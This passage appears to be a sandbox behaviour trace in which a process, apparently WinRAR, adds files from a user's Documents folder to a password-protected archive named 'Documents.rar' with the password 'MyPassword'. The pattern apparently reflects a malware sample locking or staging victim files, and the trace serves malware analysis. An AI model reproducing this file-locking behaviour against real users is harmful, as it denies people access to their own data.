lpMsg=0x141a0dd7d0) returned 0 [0081.812] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0081.812] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0081.812] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0081.812] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0xb3c3 [0081.812] SetFilePointer (in: hFile=0x32c, lDistanceToMove=105, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0xb42c [0081.813] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0081.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0081.813] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0081.813] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0081.813] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0081.813] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0x7c0, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0x7c0, lpOverlapped=0x0) returned 1 [0081.813] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0081.813] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0081.813] SetFilePointer (in: hFile=0x32c, lDistanceToMove=46019, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0xb3c3 [0081.813] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0xb3c3 [0081.813] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079aa0 [0081.813] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f50 [0081.813] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079f50, Size=0x48) returned 0x1162e888900 [0081.813] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d9b0 [0081.813] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f50 [0081.813] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079f50, Size=0x48) returned 0x1162e888680 [0081.813] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d9b0 | out: hHeap=0x1162e7c0000) returned 1 [0081.813] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888900 | out: hHeap=0x1162e7c0000) returned 1 [0081.813] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079ad0 [0081.813] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e90 [0081.813] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079e90 | out: hHeap=0x1162e7c0000) returned 1 [0081.813] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079ad0 | out: hHeap=0x1162e7c0000) returned 1 [0081.813] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079aa0, Size=0x48) returned 0x1162e888ea0 [0081.813] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888ea0, Size=0x7a) returned 0x1162e7f44c0 [0081.813] WriteFile (in: hFile=0x32c, lpBuffer=0x1162e7f44c3*, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1162e7f44c3*, lpNumberOfBytesWritten=0x141a0d82c0*=0x69, lpOverlapped=0x0) returned 1 [0081.814] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888680 | out: hHeap=0x1162e7c0000) returned 1 [0081.814] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e7f44c0 | out: hHeap=0x1162e7c0000) returned 1 [0081.814] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0xbbec [0081.814] CloseHandle (hObject=0x350) returned 1 [0081.814] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0081.814] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0081.814] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0081.814] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0081.814] FindFirstFileW (in: lpFileName="7I1yC6W53.doc", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d460 [0081.814] FindClose (in: hFindFile=0x1163204d460 | out: hFindFile=0x1163204d460) returned 1 [0081.814] CreateFileW (lpFileName="7I1yC6W53.doc" (normalized: "c:\\users\\fd1hvy\\documents\\7i1yc6w53.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0081.814] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764fe30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0081.814] GetTickCount () returned 0x2a435 [0081.814] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0081.814] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0081.814] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0081.814] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0081.814] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="5YJHRW-JZoT5E S09D.pptx") returned 23 [0081.814] SetWindowTextW (hWnd=0x10300, lpString="7I1yC6W53.doc") returned 1 [0081.815] GetTickCount () returned 0x2a435 [0081.815] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0081.815] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x1163028ed90) returned 1 [0081.815] CryptGenRandom (in: hProv=0x1163028ed90, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0081.815] CryptReleaseContext (hProv=0x1163028ed90, dwFlags=0x0) returned 1 [0081.815] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x3b, wMilliseconds=0x12f)) [0081.815] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0081.815] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17314408867) returned 1 [0081.816] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0x8d9, lpOverlapped=0x0) returned 1 [0081.816] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e919, nNumberOfBytesToRead=0xff727, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e919*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0081.816] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x116320799e0 [0081.816] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079ce0 [0081.816] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079ce0, Size=0x48) returned 0x1162e889530 [0081.816] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0081.816] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e30 [0081.816] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079e30, Size=0x48) returned 0x1162e888ea0 [0081.816] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0081.816] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e889530 | out: hHeap=0x1162e7c0000) returned 1 [0081.816] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e30 [0081.816] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079ad0 [0081.816] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079ad0 | out: hHeap=0x1162e7c0000) returned 1 [0081.816] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079e30 | out: hHeap=0x1162e7c0000) returned 1 [0081.816] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x116320799e0, Size=0x48) returned 0x1162e889530 [0081.816] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e889530, Size=0x7a) returned 0x1162e7f44c0 [0081.816] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0081.817] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e7f44c0 | out: hHeap=0x1162e7c0000) returned 1 [0081.817] GetTickCount () returned 0x2a435 [0081.817] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17314525949) returned 1 [0081.817] GetTickCount () returned 0x2a435 [0081.817] GetTickCount () returned 0x2a435 [0081.817] GetTickCount () returned 0x2a435 [0081.817] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0081.817] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0081.817] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0081.817] ResetEvent (hEvent=0x344) returned 1 [0081.817] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0081.818] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0081.818] ResetEvent (hEvent=0x344) returned 1 [0081.818] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0081.818] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0081.818] GetTickCount () returned 0x2a435 [0081.818] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17314683803) returned 1 [0081.818] GetTickCount () returned 0x2a435 [0081.818] GetTickCount () returned 0x2a435 [0081.818] GetTickCount () returned 0x2a435 [0081.818] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0081.818] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0081.818] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0081.818] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0081.818] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0081.818] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0xbbec [0081.819] SetFilePointer (in: hFile=0x32c, lDistanceToMove=95, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0xbc4b [0081.819] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0081.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0081.819] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0081.819] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0081.819] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0081.819] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0x910, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0x910, lpOverlapped=0x0) returned 1 [0081.819] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0081.819] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0081.819] SetFilePointer (in: hFile=0x32c, lDistanceToMove=48108, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0xbbec [0081.819] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0xbbec [0081.819] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f50 [0081.819] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f80 [0081.819] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079f80, Size=0x48) returned 0x1162e889440 [0081.819] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d7b0 [0081.819] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079fe0 [0081.819] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079fe0, Size=0x48) returned 0x1162e888680 [0081.819] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d7b0 | out: hHeap=0x1162e7c0000) returned 1 [0081.819] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e889440 | out: hHeap=0x1162e7c0000) returned 1 [0081.819] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079aa0 [0081.819] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079c50 [0081.819] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079c50 | out: hHeap=0x1162e7c0000) returned 1 [0081.820] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079aa0 | out: hHeap=0x1162e7c0000) returned 1 [0081.820] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079f50, Size=0x48) returned 0x1162e888ea0 [0081.820] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888ea0, Size=0x7a) returned 0x1162e7f44c0 [0081.820] WriteFile (in: hFile=0x32c, lpBuffer=0x1162e7f44c3*, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1162e7f44c3*, lpNumberOfBytesWritten=0x141a0d82c0*=0x5f, lpOverlapped=0x0) returned 1 [0081.820] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888680 | out: hHeap=0x1162e7c0000) returned 1 [0081.820] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e7f44c0 | out: hHeap=0x1162e7c0000) returned 1 [0081.820] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0xc55b [0081.820] CloseHandle (hObject=0x350) returned 1 [0081.820] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0081.820] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0081.820] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0081.820] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0081.820] FindFirstFileW (in: lpFileName="8CFpoZ DqeCI.doc", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d460 [0081.820] FindClose (in: hFindFile=0x1163204d460 | out: hFindFile=0x1163204d460) returned 1 [0081.820] CreateFileW (lpFileName="8CFpoZ DqeCI.doc" (normalized: "c:\\users\\fd1hvy\\documents\\8cfpoz dqeci.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0081.820] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0081.820] GetTickCount () returned 0x2a435 [0081.820] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0081.820] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0081.820] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0081.820] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0081.821] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="7I1yC6W53.doc") returned 13 [0081.821] SetWindowTextW (hWnd=0x10300, lpString="8CFpoZ DqeCI.doc") returned 1 [0081.821] GetTickCount () returned 0x2a435 [0081.821] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0081.821] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x1163028ed90) returned 1 [0081.821] CryptGenRandom (in: hProv=0x1163028ed90, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0081.821] CryptReleaseContext (hProv=0x1163028ed90, dwFlags=0x0) returned 1 [0081.821] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x3b, wMilliseconds=0x12f)) [0081.821] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0081.821] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17315004614) returned 1 [0081.821] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0x18479, lpOverlapped=0x0) returned 1 [0081.822] ReadFile (in: hFile=0x350, lpBuffer=0x11631ba64b9, nNumberOfBytesToRead=0xe7b87, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631ba64b9*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0081.822] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0081.822] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0081.822] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e00 [0081.822] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bf0 [0081.822] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079bf0, Size=0x48) returned 0x1162e888950 [0081.822] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0081.822] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079d10 [0081.823] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079d10, Size=0x48) returned 0x1162e888ea0 [0081.823] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0081.823] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888950 | out: hHeap=0x1162e7c0000) returned 1 [0081.823] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0081.823] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079b30 [0081.823] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079b30 | out: hHeap=0x1162e7c0000) returned 1 [0081.823] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079bc0 | out: hHeap=0x1162e7c0000) returned 1 [0081.823] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079e00, Size=0x48) returned 0x1162e888f90 [0081.823] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888f90, Size=0x7a) returned 0x1162e7f44c0 [0081.823] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0081.823] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e7f44c0 | out: hHeap=0x1162e7c0000) returned 1 [0081.824] GetTickCount () returned 0x2a445 [0081.824] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17315292954) returned 1 [0081.824] GetTickCount () returned 0x2a445 [0081.824] GetTickCount () returned 0x2a445 [0081.824] GetTickCount () returned 0x2a445 [0081.824] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0081.824] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0081.824] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0081.824] ResetEvent (hEvent=0x344) returned 1 [0081.825] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0081.826] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0081.826] ResetEvent (hEvent=0x344) returned 1 [0081.826] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0081.836] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0081.836] ResetEvent (hEvent=0x344) returned 1 [0081.836] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0081.939] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0081.945] GetTickCount () returned 0x2a4b2 [0081.945] GetLastError () returned 0x0 [0081.946] SetLastError (dwErrCode=0x0) [0081.946] GetDlgItem (hDlg=0x102f8, nIDDlgItem=158) returned 0x10304 [0081.946] GetDlgItem (hDlg=0x102f8, nIDDlgItem=153) returned 0x10302 [0081.946] GetWindowTextW (in: hWnd=0x10302, lpString=0x141a0dbe80, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0081.946] SetWindowTextW (hWnd=0x10302, lpString=" 100%") returned 1 [0081.946] SendMessageW (hWnd=0x10304, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x0 [0081.946] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17327489494) returned 1 [0081.946] GetTickCount () returned 0x2a4b2 [0081.946] GetTickCount () returned 0x2a4b2 [0081.946] GetTickCount () returned 0x2a4b2 [0081.946] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 1 [0081.950] GetMessageW (in: lpMsg=0x141a0dd760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd760) returned 1 [0081.950] GetFocus () returned 0x1031c [0081.950] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd760) returned 1 [0081.950] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0081.950] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0081.950] ResetEvent (hEvent=0x33c) returned 1 [0081.950] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, 